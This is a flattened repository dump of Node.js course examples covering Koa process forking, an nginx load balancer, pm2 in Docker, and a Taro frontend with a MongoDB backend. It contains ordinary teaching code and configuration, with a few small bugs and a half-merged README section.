8 | console.log('ctx....')
9 | // 随机产生错误
10 | Math.random() > 0.9 ? aaa() : '2'
11 |
12 | await next();
13 | ctx.response.type = 'text/html';
14 | ctx.response.body = 'Hello, koa2!
';
15 | });
16 |
17 |
18 | if (!module.parent) {
19 | console.log('process.argv:',process.argv)
20 | const port = process.argv.length > 2 ? process.argv[2] : 3000
21 | app.listen(port);
22 | console.log(`app started at port ${port}...`);
23 | } else {
24 | module.exports = app
25 | }
26 |
27 |
--------------------------------------------------------------------------------
/node/10/fork/fork.js:
--------------------------------------------------------------------------------
1 | const child_process = require('child_process');
2 | require('./test.js')
3 | const fork = []
4 |
5 | for (var i = 0; i < 2; i++) {
6 | var worker_process = child_process.fork("app.js", [3000 + i]);
7 |
8 | worker_process.on('close', function (code) {
9 | console.log('子进程已退出,退出码 ' + code);
10 | });
11 | fork.push(worker_process)
12 | }
13 |
14 | process.on('SIGTERM', function () {
15 | fork.forEach(
16 | worker_process.kill()
17 | )
18 | process.exit(0);
19 | });
--------------------------------------------------------------------------------
/node/10/fork/test.js:
--------------------------------------------------------------------------------
1 | var http = require('http');
2 | setInterval(async () => {
3 | try {
4 | await http.get('http://localhost:3000');
5 | console.log('go')
6 | } catch (error) {
7 | }
8 | }, 1000)
--------------------------------------------------------------------------------
/node/10/slb/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | slb:
4 | restart: always
5 | image: nginx
6 | ports:
7 | - 8091:80
8 | volumes:
9 | - ./slb/conf.d/:/etc/nginx/conf.d
10 | server1:
11 | build: ./server1
12 | server2:
13 | build: ./server2
--------------------------------------------------------------------------------
/node/10/slb/server1/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM nginx:latest
2 | RUN echo 'Run at Server1' > /usr/share/nginx/html/index.html
--------------------------------------------------------------------------------
/node/10/slb/server2/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM nginx:latest
2 | RUN echo 'Run at Server2' > /usr/share/nginx/html/index.html
--------------------------------------------------------------------------------
/node/10/slb/slb/conf.d/docker.conf:
--------------------------------------------------------------------------------
1 | upstream roundrobin {
2 | #后端服务器访问规则
3 | server server1:80 weight=1; #server1
4 | server server2:80 weight=2; #server1
5 | }
6 | server {
7 | listen 80;
8 | location / {
9 | proxy_pass http://roundrobin;
10 | }
11 | }
--------------------------------------------------------------------------------
/node/10/slb/test.js:
--------------------------------------------------------------------------------
1 | const request = require('superagent')
2 | setInterval(async () => {
3 | res = await request.get(`http://localhost:8091`)
4 | console.log(`Page ${res.text}`)
5 | }, 100)
6 |
--------------------------------------------------------------------------------
/node/10/taro-docker/.dockerignore:
--------------------------------------------------------------------------------
1 | **/*/node_modules/
2 | # logs
--------------------------------------------------------------------------------
/node/10/taro-docker/README.md:
--------------------------------------------------------------------------------
1 | # docker_ci
2 | 测试使用Docker / Github Webhook实现CI持续集成
3 |
4 | - docker-compose
5 | - gitlab webhooks
6 |
7 |
8 | ## 示例代码运行
9 | - NodeJS 8.0 need https://nodejs.org/en/
10 | - Clone or download this repository
11 | Enter your local directory, and
12 | - start webhooks watcher
13 | ``` bash
14 | npm install
15 | npx ## 示例代码运行
16 | - NodeJS 10 need https://nodejs.org/en/
17 | - Clone or download this repository
18 | Enter your local directory, and
19 | - install dependencies:
20 | ``` bash
21 | npm install
22 | npm install pm2 -g
23 | pm2 start webhooks.js --watch
24 |
25 | ```
26 |
27 |
28 |
29 |
30 | 设置Webhooks
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/.dockerignore:
--------------------------------------------------------------------------------
1 | node_modules
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM keymetrics/pm2:latest-alpine
2 | WORKDIR /usr/src/app
3 | ADD . /usr/src/app
4 | # RUN npm config set registry https://registry.npm.taobao.org/ && \
5 | # npm i
6 | RUN npm i
7 | EXPOSE 3000
8 | #pm2在docker中使用命令为pm2-docker
9 | # CMD ["pm2-runtime", "start", "--json", "process.json"]
10 | CMD ["pm2-runtime", "start", "process.yml"]
11 |
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/models/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | url: "mongodb://mongo:27017",
3 | dbName: 'taro',
4 | }
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/models/db.js:
--------------------------------------------------------------------------------
1 | const conf = require("./conf");
2 | const EventEmitter = require("events").EventEmitter;
3 |
4 | // 客户端
5 | const MongoClient = require("mongodb").MongoClient;
6 |
7 | class Mongodb {
8 | constructor(conf) {
9 | // 保存conf
10 | this.conf=conf;
11 |
12 | this.emmiter = new EventEmitter();
13 | // 连接
14 | this.client = new MongoClient(conf.url, { useNewUrlParser: true });
15 | this.client.connect(err => {
16 | if (err) throw err;
17 | console.log("连接成功");
18 | this.emmiter.emit("connect");
19 | });
20 | }
21 |
22 | col(colName, dbName = conf.dbName) {
23 | return this.client.db(dbName).collection(colName);
24 | }
25 |
26 | once(event, cb) {
27 | this.emmiter.once(event, cb);
28 | }
29 | }
30 |
31 | // 2.导出db
32 | module.exports = new Mongodb(conf);
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/models/init.js:
--------------------------------------------------------------------------------
1 | const mongodb = require("./db");
2 | const goods = require('./goods.json')
3 |
4 | // console.log('data', data)
5 |
6 | mongodb.once("connect", async () => {
7 | const col = mongodb.col("goods");
8 |
9 | try {
10 | // 删除已存在
11 | await col.deleteMany();
12 |
13 |
14 | const allData = []
15 | goods.tags.forEach(key => {
16 | goods.data[key].forEach(cor => {
17 | allData.push(cor)
18 | })
19 | })
20 |
21 | // 插入
22 | await col.insertMany(allData);
23 | console.log("插入测试数据成功");
24 | } catch (error) {
25 | console.log("插入测试数据失败");
26 | console.log(error);
27 | }
28 | });
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "myappp",
3 | "version": "1.0.0",
4 | "main": "app.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "keywords": [],
9 | "author": "",
10 | "license": "ISC",
11 | "description": "myappp",
12 | "dependencies": {
13 | "express": "^4.16.4",
14 | "koa": "^2.7.0",
15 | "mongoose": "^5.5.5"
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/process.yml:
--------------------------------------------------------------------------------
1 | apps:
2 | - script : server.js
3 | instances: 2
4 | watch : true
5 | env :
6 | NODE_ENV: production
--------------------------------------------------------------------------------
/node/10/taro-docker/backend/test.js:
--------------------------------------------------------------------------------
1 | var request = require('request');
2 | setInterval(() => {
3 | request('http://localhost:3000', function (error, response, body) {
4 | console.log(body)//打印百度首页html内容
5 | })
6 | }, 1000)
7 |
8 |
--------------------------------------------------------------------------------
/node/10/taro-docker/deploy-dev.sh:
--------------------------------------------------------------------------------
1 | echo Deploy Project
2 | # docker-compose up -d --force-recreate --build
3 |
4 | # 获取最新版代码
5 | git pull
6 |
7 | # 强制重新编译容器
8 | docker-compose down
9 | docker-compose up -d --force-recreate --build
10 |
11 |
12 | # 定制镜像
13 | # docker build -t myapp:pm2 ./backend
14 |
15 | # 重启启动容器
16 | # docker stop myapp
17 | # docker rm myapp
18 | # docker run --name myapp -p 3000:3000 -d myapp:pm2
--------------------------------------------------------------------------------
/node/10/taro-docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | app-pm2:
4 | container_name: app-pm2
5 | #构建容器
6 | build: ./backend
7 | # 需要链接本地代码时
8 | # volumes:
9 | # - ./backend:/usr/src/app
10 | ports:
11 | - "3000:3000"
12 | mongo:
13 | image: mongo
14 | restart: always
15 | ports:
16 | - 27017:27017
17 | mongo-express:
18 | image: mongo-express
19 | restart: always
20 | ports:
21 | - 8081:8081
22 | nginx:
23 | restart: always
24 | image: nginx
25 | ports:
26 | - 8091:80
27 | volumes:
28 | - ./nginx/conf.d/:/etc/nginx/conf.d
29 | - ./frontend/dist/:/var/www/html/
30 | - ./static/:/static/
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:10-alpine
2 | WORKDIR /usr/src/app
3 | ADD . /usr/src/app
4 | RUN npm config set registry https://registry.npm.taobao.org/ && \
5 | npm install -g @tarojs/cli && \
6 | npm i && \
7 | npm run build:weapp
8 | #pm2在docker中使用命令为pm2-docker
9 | CMD ["pm2-runtime", "start", "--json", "process.json"]
10 |
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/config/dev.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | env: {
3 | NODE_ENV: '"development"'
4 | },
5 | defineConstants: {
6 | },
7 | weapp: {},
8 | h5: {}
9 | }
10 |
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/config/prod.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | env: {
3 | NODE_ENV: '"production"'
4 | },
5 | defineConstants: {
6 | },
7 | weapp: {},
8 | h5: {}
9 | }
10 |
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/dist/css/home_home.css:
--------------------------------------------------------------------------------
1 | .swiper-img{width:16rem}.swiper-container{height:10.24rem}.taro-img{text-align:center}.detail{word-break:break-all}
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/dist/css/user_user.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/dist/css/user_user.css
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 | I am front end
11 |
12 |
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/app.scss:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | /* Custom Theme */
6 | $color-brand: #e93b3d;
7 | $color-brand-light: #ef6c6e;
8 | $color-brand-dark: #ba2f31;
9 |
10 | .card-img{
11 | width:100%;
12 | height:100%;
13 | min-height: 100px;
14 | }
15 |
16 | @import "~taro-ui/dist/style/index.scss"; // 引入组件样式,仅需引入一次即可
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/cart-active.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/cart-active.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/cart.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/cart.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/cate-active.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/cate-active.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/cate.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/cate.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/default-avatar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/default-avatar.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/home-active.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/home-active.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/home.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/home.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/user-active.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/user-active.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/assets/user.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/assets/user.png
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/pages/cart/cart.scss:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/pages/cart/cart.scss
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/pages/home/home.scss:
--------------------------------------------------------------------------------
1 | .swiper-img{
2 | width:750px;
3 | }
4 |
5 | .swiper-container{
6 | height:480px;
7 | }
8 | .taro-img{
9 | text-align: center;
10 | }
11 |
12 |
13 | .detail{
14 | word-break: break-all;
15 | }
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/pages/index/index.scss:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/pages/index/index.scss
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/pages/user/user.scss:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/frontend/src/pages/user/user.scss
--------------------------------------------------------------------------------
/node/10/taro-docker/frontend/src/store/todo.js:
--------------------------------------------------------------------------------
1 | // src/store/todo.js
2 | import Taro from '@tarojs/taro'
3 | import { observable } from 'mobx'
4 |
5 | const todoStore = observable({
6 | todos: ['吃饭','睡觉','开课吧学习'],
7 |
8 | addTodo(item) {
9 | this.todos.push(item)
10 | },
11 | removeTodo(i){
12 | Taro.showLoading({
13 | title: 'loading'
14 | })
15 | setTimeout(()=>{
16 | this.todos.splice(i,1)
17 | Taro.hideLoading()
18 | },1000)
19 | }
20 |
21 | })
22 |
23 | export default todoStore
--------------------------------------------------------------------------------
/node/10/taro-docker/nginx/conf.d/docker.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | location / {
4 | root /var/www/html;
5 | index index.html index.htm;
6 | }
7 | location ~ \.(gif|jpg|png)$ {
8 | root /static;
9 | index index.html index.htm;
10 | }
11 | location /api {
12 | proxy_pass http://app-pm2:3000;
13 | proxy_redirect off;
14 | proxy_set_header Host $host;
15 | proxy_set_header X-Real-IP $remote_addr;
16 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
17 | }
18 | }
--------------------------------------------------------------------------------
/node/10/taro-docker/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "docker_ci",
3 | "version": "1.0.0",
4 | "description": "测试使用Docker / Github Webhook实现CI持续集成",
5 | "main": "webhooks.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "repository": {
10 | "type": "git",
11 | "url": "git+https://github.com/su37josephxia/docker_ci.git"
12 | },
13 | "keywords": [],
14 | "author": "",
15 | "license": "ISC",
16 | "bugs": {
17 | "url": "https://github.com/su37josephxia/docker_ci/issues"
18 | },
19 | "homepage": "https://github.com/su37josephxia/docker_ci#readme",
20 | "dependencies": {
21 | "github-webhook-handler": "^0.7.1"
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/GraphQL-React_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/GraphQL-React_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/GraphQL_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/GraphQL_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/IntroPython.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/IntroPython.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/JSBasic-Algorithms_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/JSBasic-Algorithms_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/LearnES6_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/LearnES6_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/LearnGit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/LearnGit.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/NodeAWSServerless_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/NodeAWSServerless_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/NodeDocker_1000.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/NodeDocker_1000.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/PWAReact_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/PWAReact_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/ReactBeginners.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/ReactBeginners.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/ReactContext_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/ReactContext_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/ReactNative.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/ReactNative.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/ReactNextServer_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/ReactNextServer_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/ReactStorybook_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/ReactStorybook_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/React_Mobx_TS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/React_Mobx_TS.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/ReduxSaga.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/ReduxSaga.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/SimplifyHooks_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/SimplifyHooks_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/TSVue_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/TSVue_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/TestGooglePuppeteer_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/TestGooglePuppeteer_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/TestReactJest.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/TestReactJest.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/Typescript_Plumbing_image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/Typescript_Plumbing_image.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/VueJS_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/VueJS_Final.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/VuePwa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/VuePwa.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/github.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/github.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/course/react-context.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/course/react-context.png
--------------------------------------------------------------------------------
/node/10/taro-docker/static/fire.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-docker/static/fire.png
--------------------------------------------------------------------------------
/node/10/taro-node/dist/css/home_home.css:
--------------------------------------------------------------------------------
1 | .swiper-img{width:16rem}.swiper-container{height:10.24rem}.taro-img{text-align:center}.detail{word-break:break-all}
--------------------------------------------------------------------------------
/node/10/taro-node/dist/css/user_user.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/dist/css/user_user.css
--------------------------------------------------------------------------------
/node/10/taro-node/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | nginx:
4 | restart: always
5 | image: nginx
6 | ports:
7 | - 80:80
8 | - 443:443
9 | volumes:
10 | - ./nginx/conf.d/:/etc/nginx/conf.d
11 | - ./dist:/var/www/html/
--------------------------------------------------------------------------------
/node/10/taro-node/server/process.yml:
--------------------------------------------------------------------------------
1 | apps:
2 | - script : server.js
3 | instances: 2
4 | watch : true
5 | env :
6 | NODE_ENV: production
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/GraphQL-React_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/GraphQL-React_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/GraphQL_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/GraphQL_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/IntroPython.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/IntroPython.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/JSBasic-Algorithms_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/JSBasic-Algorithms_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/LearnES6_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/LearnES6_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/LearnGit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/LearnGit.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/NodeAWSServerless_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/NodeAWSServerless_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/NodeDocker_1000.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/NodeDocker_1000.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/PWAReact_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/PWAReact_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/ReactBeginners.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/ReactBeginners.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/ReactContext_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/ReactContext_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/ReactNative.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/ReactNative.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/ReactNextServer_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/ReactNextServer_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/ReactStorybook_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/ReactStorybook_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/React_Mobx_TS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/React_Mobx_TS.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/ReduxSaga.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/ReduxSaga.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/SimplifyHooks_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/SimplifyHooks_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/TSVue_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/TSVue_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/TestGooglePuppeteer_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/TestGooglePuppeteer_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/TestReactJest.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/TestReactJest.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/Typescript_Plumbing_image.png:
--------------------------------------------------------------------------------
